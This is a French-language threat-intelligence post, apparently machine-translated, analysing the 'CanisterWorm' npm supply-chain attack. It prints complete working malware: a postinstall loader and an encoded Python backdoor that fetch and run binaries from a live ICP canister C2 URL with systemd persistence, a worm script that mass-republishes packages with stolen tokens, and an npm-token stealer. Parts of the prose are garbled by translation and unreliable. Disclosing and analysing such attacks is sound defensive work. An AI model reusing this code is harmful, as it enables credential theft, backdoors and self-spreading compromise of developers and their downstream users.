Le 20 mars 2026, à 20 h 45 UTC, nous avons détecté qu'un grand nombre de paquets avaient été compromis sur NPM par un nouveau ver encore inconnu. Nous avons baptisé cette attaque spécifique « CanisterWorm », car elle utilise un conteneur ICP pour son point de contact C2 de type « dead-drop », ce qui constitue une première dans le cadre d'une campagne de ce type.
Ils ont fait des concessions jusqu'à présent :
- 28 paquets dans le
@EmilGroupchamp d'application - Le package
@teale.io/eslint-config, qui enregistre 7 000 téléchargements par semaine
Il semble s'agir d'une suite directe de l'attaque contreTrivy survenue il y aTrivy de 24 heures, comme l'a documenté en détail Wiz, et celle-ci aurait été perpétrée par le même acteur malveillant, TeamPCP.
Analyse technique
Voici un aperçu des principaux aspects techniques de l'attaque :
- 🬊 Architecture en trois étapes. Chargeur post-installation Node.js → porte dérobée Python persistante → point de dépôt hébergé sur ICP pour la transmission dynamique de la charge utile.
- 🟪 Ver informatique à propagation automatique.
deploy.jsIl récupère les jetons npm, résout les noms d'utilisateur, répertorie tous les paquets pouvant être publiés, met à jour les versions mineures et publie le contenu dans l'ensemble de l'espace de noms. 28 paquets en moins de 60 secondes. - 🔁 Persistance de systemd. Installe un service au niveau utilisateur avec
Redémarrage = toujours. Résiste aux redémarrages, redémarre automatiquement en cas de plantage, aucun accès root requis. - 🌐 Un conteneur ICP utilisé comme point de dépôt C2. Un conteneur sur le réseau principal de l'Internet Computer renvoie une URL pointant vers une charge utile binaire. Décentralisé, résistant à la censure, sans point de défaillance unique.
- 🔄 Rotation à distance des charges utiles. Le contrôleur du conteneur peut modifier l'URL à tout moment, en déployant de nouveaux binaires sur tous les hôtes infectés sans toucher à l'implant.
- ⏱️ Contournement du bac à sable. Pause de 5 minutes avant la première balise, puis intervalle de sondage d'environ 50 minutes.
- 🦋 Une défaillance silencieuse. L'ensemble du processus post-installation est encapsulé dans
try/catch.npm installfonctionne normalement sur toutes les plateformes ; la porte dérobée ne s'active que sous Linux avec systemd. - 🐘 Masquage PostgreSQL. Tous les artefacts dont le nom est conçu pour se fondre dans l'environnement des machines des développeurs :
pgmon,pglog,.pg_state. - 📄 Conservation du fichier README. Le ver récupère le fichier README d'origine de chaque paquet cible avant de le publier, afin de ne pas éveiller les soupçons.
Charge utile - Logiciel malveillant
Voici la charge utile malveillante principale. Ce fichier s'exécute automatiquement en tant que post-installation crochet pendant npm installVoici comment cela fonctionne, étape par étape :
- 🔓 Décode la charge utile intégrée. Cette longue chaîne Base64 correspond à un script Python (la porte dérobée de deuxième niveau que nous examinerons ci-dessous). Elle est décodée et écrite dans
~/.local/share/pgmon/service.py. - 🟔 Crée un service utilisateur systemd. Il enregistre un fichier d'unité dans
~/.config/systemd/user/pgmon.servicequi exécute le script Python avecRedémarrage = toujourset un délai de redémarrage de 5 secondes. Aucun accès root requis, aucune demande de mot de passe. - 🚀 Lance le service immédiatement. Cela fonctionne
systemctl --user daemon-reload, puis active et lance le service. La porte dérobée est désormais opérationnelle et résistera aux redémarrages et aux plantages. - 🐘 Se fait passer pour un outil PostgreSQL. Ce service s'appelle
pgmon, le fichier binaire qu'il télécharge ensuite s'appellepglog, et le fichier d'état est.pg_state. Un développeur qui jetterait un coup d'œil à ses services en cours d'exécution n'y prêterait pas attention.
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
Charge utile - Porte dérobée Python
Lorsque vous décodez la charge utile de systemd encodée en Base64, vous obtenez ce qui suit. Il s'agit de la porte dérobée proprement dite qui persiste sur le système. Elle utilise uniquement des modules de la bibliothèque standard de Python ; il n'y a donc rien à installer.
- ⏱️ Il attend 5 minutes avant d'agir. C'est suffisamment long pour échapper à la plupart des environnements de type « sandbox » qui surveillent les comportements suspects immédiats.
- 📡 Il appelle à la maison toutes les 50 minutes environ. Fonction
g()contacte un conteneur ICP en utilisant un User-Agent de navigateur falsifié. Le conteneur ne diffuse pas directement le logiciel malveillant. Il se contente de renvoyer une URL en texte brut, pointant vers l'emplacement où le fichier binaire réel est actuellement hébergé. - 📥 Il télécharge et exécute tout ce qu'on lui demande. Fonction
e()télécharge le fichier binaire vers/tmp/pglog, le marque comme exécutable et le lance dans un processus entièrement indépendant. L'URL est enregistrée dans/tmp/.pg_stateafin qu'il ne télécharge pas deux fois la même donnée. - 🟔 Il est équipé d'un kill switch intégré. Si l'URL contient
youtube[.]com, le script passe cette étape. Il s'agit de l'état inactif du conteneur. L'attaquant active l'implant en pointant le conteneur vers un fichier binaire réel, et le désactive en revenant à un lien YouTube. - 🔄 Prend en charge la rotation des charges utiles. Si l'attaquant met à jour le conteneur pour qu'il pointe vers une nouvelle URL, chaque machine infectée récupère le nouveau fichier binaire lors de sa prochaine interrogation. L'ancien fichier binaire continue de s'exécuter en arrière-plan, car le script ne met jamais fin aux processus précédents.
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
Cette charge utile, ainsi que le domaine auquel elle fait référence, semblent similaires, voire identiques à celui de sysmon.py charge utile issue de Trivy . Pour l'instant, l'URL renvoyée par le serveur C2 renvoie vers une vidéo YouTube de type « Rickroll ». Cela pourrait changer à tout moment, et le serveur pourrait alors commencer à diffuser une véritable charge utile malveillante.
Charge utile - Ver
Le pack comprend également deploy.js, un outil d'auto-propagation que l'attaquant exécute manuellement pour diffuser la charge utile malveillante dans tous les paquets auxquels un jeton npm volé a accès. Le ver est très simple. Il semble être entièrement codé en Vibe et se passe d'explications. Aucune tentative d'obfuscation n'a été effectuée ici. Il n'est pas déclenché par npm install. Il s'agit d'un outil autonome que le pirate exécute à l'aide de jetons volés afin d'optimiser la portée de l'attaque. Voici comment il fonctionne :
- 😏 Prend en charge plusieurs jetons. Nombre de lectures
NPM_TOKENS(séparés par des virgules) ouNPM_TOKENprovenant de l'environnement. Chaque jeton est traité indépendamment, ce qui signifie qu'une seule opération peut compromettre plusieurs comptes. - 😎 Détermine à qui appartient le jeton. Pour chaque jeton, il appelle npm
/-/whoamipoint de terminaison pour récupérer le nom d'utilisateur associé. Les jetons non valides ou expirés sont ignorés. - 📦 Répertorie tous les paquets vers lesquels le compte peut publier. Utilise l'API de recherche npm avec
maintainer:<username>, paginées par lots de 250. C'est ainsi qu'il a découvert les 28@emilgrouppaquets. - 🔢 Mise à jour automatique de la version du correctif. Récupère la valeur actuelle
dernièreversion de chaque paquet cible et incrémente le numéro de correctif.1.54.0devient1.54.1,1.97.1devient1.97.2. La nouvelle version ressemble toujours à une mise à jour de routine. - 📄 Conserve le fichier README d'origine. Avant la publication, il récupère le fichier README existant du paquet cible depuis le registre et le remplace localement. Après la publication, il rétablit ses propres fichiers. Cela permet de conserver l'apparence normale de la fiche npm.
- 😲 Réécritures
package.jsonà la volée. Remplace temporairement le nom et la version du paquet dans le répertoire localpackage.jsonavec les fichiers de la cible, les publie, puis rétablit l'original. Un seul squelette malveillant, réutilisé pour chaque paquet. - 🚀 Publié par
--tag dernière version. Le--accès public --balise « dernier »ces options garantissent que la version malveillante soit installée par défaut. Toute personne exécutantnpm install @emilgroup/whateverobtient la version compromise. - 🧹 Il nettoie tout après son passage. Les deux
package.jsonetREADME.mdsont toujours restaurées dans unfinallybloc, même si la publication échoue. Le répertoire local semble intact après l'exécution. - 📊 Imprime un résumé. Suivi des réussites et des échecs par jeton, tout est consigné dans le journal sous forme de lignes d'état précédées d'émojis. Ironiquement, c'est un outil d'attaque particulièrement bien conçu.
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();Mise à jour : le ver CanisterWorm apprend à se propager de lui-même
Environ une heure après le début @emilgroup vague, l'attaquant a imposé une mise à jour majeure à @teale.io/eslint-config versions 1.8.11 et 1.8.12 (21 h 16 à 21 h 21 UTC). Le ver n'est plus un outil nécessitant une intervention manuelle. Il se propage désormais de manière autonome.
Dans le @emilgroup versions, deploy.js Il s'agissait d'un script autonome que l'attaquant exécutait manuellement à l'aide de jetons volés. Les victimes se retrouvaient infectées par la porte dérobée, mais le ver ne se propageait pas de lui-même. Cela a changé. Le nouveau index.js ajoute un findNpmTokens() fonction qui s'exécute pendant post-installation et récupère activement les jetons d'authentification npm sur l'ordinateur de la victime.
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'hello123';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}Il s'agit de la même porte dérobée systemd qu'auparavant, mais avec un ajout crucial à la fin : après avoir installé le service persistant, elle récupère tous les jetons npm qu'elle peut trouver et utilise ceux-ci pour lancer le ver.
- 😎 Écorchures
.npmrcfichiers. Chèques~/.npmrc(configuration utilisateur),.npmrcdans le répertoire de travail actuel (configuration du projet), et/etc/npmrc(configuration globale). Analyse chaque ligne pour_authTokenvaleurs. Assez intelligent pour ignorer les variables de modèle telles que${NPM_TOKEN}qui n'ont pas été interpolées. - 😎 Efface les variables d'environnement. Recherche
NPM_TOKEN,NPM_TOKENS, et tout ce qui correspond*NPM*TOKEN*. Sépare les éléments par des virgules pour gérer les variables à plusieurs éléments. Cela couvre la plupart des configurations CI/CD. - 😎 Interroge directement la configuration de npm. Courses
npm config get //registry.npmjs.org/:_authTokenen tant que sous-processus pour récupérer les jetons stockés à l'extérieur.npmrcfichiers. - 🟪 Génère automatiquement le ver. Si des jetons sont détectés, le programme se lance
deploy.jsen tant que processus d'arrière-plan entièrement détaché avec les jetons volés. Ledétaché : vraiet.unref()signifie que le programme continue de s'exécuter même aprèsnpm installfinitions.
C'est à ce stade que l'attaque passe d'un scénario où « un compte compromis publie un logiciel malveillant » à un scénario où « le logiciel malveillant compromet d'autres comptes et se propage de lui-même ». Tout développeur ou pipeline d'intégration continue qui installe ce paquet et dispose d'un jeton npm accessible devient, à son insu, un vecteur de propagation. Leurs paquets sont infectés, leurs utilisateurs en aval les installent, et si certains d'entre eux possèdent des jetons, le cycle se répète.
La charge utile de la porte dérobée ICP a été remplacée par bonjour123, une chaîne de test factice qui, une fois décodée, donne des octets aléatoires. Lorsque systemd tente de l'exécuter en Python, il plante immédiatement, mais avec Redémarrage = toujours configurer le service pour qu'il redémarre en arrière-plan toutes les 5 secondes. L'attaquant a d'abord déployé l'infrastructure pour valider l'ensemble de la chaîne (collecte de jetons, propagation du ver, persistance via systemd) avant de l'armer avec la charge utile réelle.
Si cette version avait été livrée avec la porte dérobée ICP complète, tous les paquets des développeurs compromis seraient devenus un nouveau vecteur d'infection. L'installation est en place. Ils n'ont simplement pas encore ouvert le robinet.
Cette affaire est en cours, restez à l'écoute pour les dernières nouvelles...

